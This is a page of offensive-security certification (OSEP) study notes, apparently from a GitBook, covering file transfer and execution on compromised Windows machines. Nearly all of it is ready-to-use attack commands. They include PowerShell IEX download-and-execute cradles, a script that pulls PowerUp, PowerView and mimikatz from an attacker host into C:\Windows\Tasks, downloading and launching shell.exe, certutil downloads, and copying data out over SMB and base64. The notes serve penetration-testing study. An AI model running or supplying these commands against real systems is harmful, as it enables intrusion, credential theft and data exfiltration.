OSEP Notes
  • Introduction
  • Useful Links, Tools & Tricks
  • OSEP
    • Metasploit Payload & Listener
      • Metasploit Useful Modules
      • Encoder
    • File Transfer & Execution
    • Phishing
    • Local Reconnaissance Windows
      • SQL Server Instance
      • Application Whitelisting & Credentials
    • Local Reconnaissance Linux
      • Ansible
    • Privilege Escalation
    • Pivoting
    • Pass the Hash
      • Remote Access
    • Post Exploitation
      • Add User
      • AMSI, CLM, & App Locker
    • Credentials
    • Lateral Movement
  • Active Directory
    • Domain Reconnaissance on Kali
    • Domain Reconnaissance on Windows
    • Active Directory Forest
Powered by GitBook
On this page
  • Linux to Windows
  • Bulk File Transfer
  • SMB
  • Base64
  • Powershell Basic Download
  • Powershell Execute Directly
  • Download and execute a shell in another process
  • Download Files
  1. OSEP

File Transfer & Execution

Linux to Windows

Bulk File Transfer

iex(iwr -uri 192.168.1.2/bulk.ps1 -usebasicparsing)
$baseUrl = "http://192.168.1.2/"
$fileNames = @("PowerUp.ps1", "PowerView.ps1", "mimikatz.exe")
$downloadPath = "C:\Windows\Tasks"

foreach ($fileName in $fileNames) {
    $url = $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}

SMB

net use \\192.168.x.y /user:root password

copy test.zip  \\192.168.x.y\visualstudio

Base64

[Convert]::ToBase64String((Get-Content -path "C:\Users\Administrator\Desktop\ilfreight_bloodhound.zip" -Encoding byte))

base64 -d test.txt  > ilfreight_bloodhound.zip

Powershell Basic Download

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.2/PowerView.ps1','C:\Windows\Tasks\PowerView.ps1')"

Powershell Execute Directly

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/PowerView.ps1');

Download and execute a shell in another process

iwr -uri http://192.168.1.2/shell.exe -OutFile shell.exe

Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe

Download Files

certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
PreviousEncoderNextPhishing

Last updated 1 year ago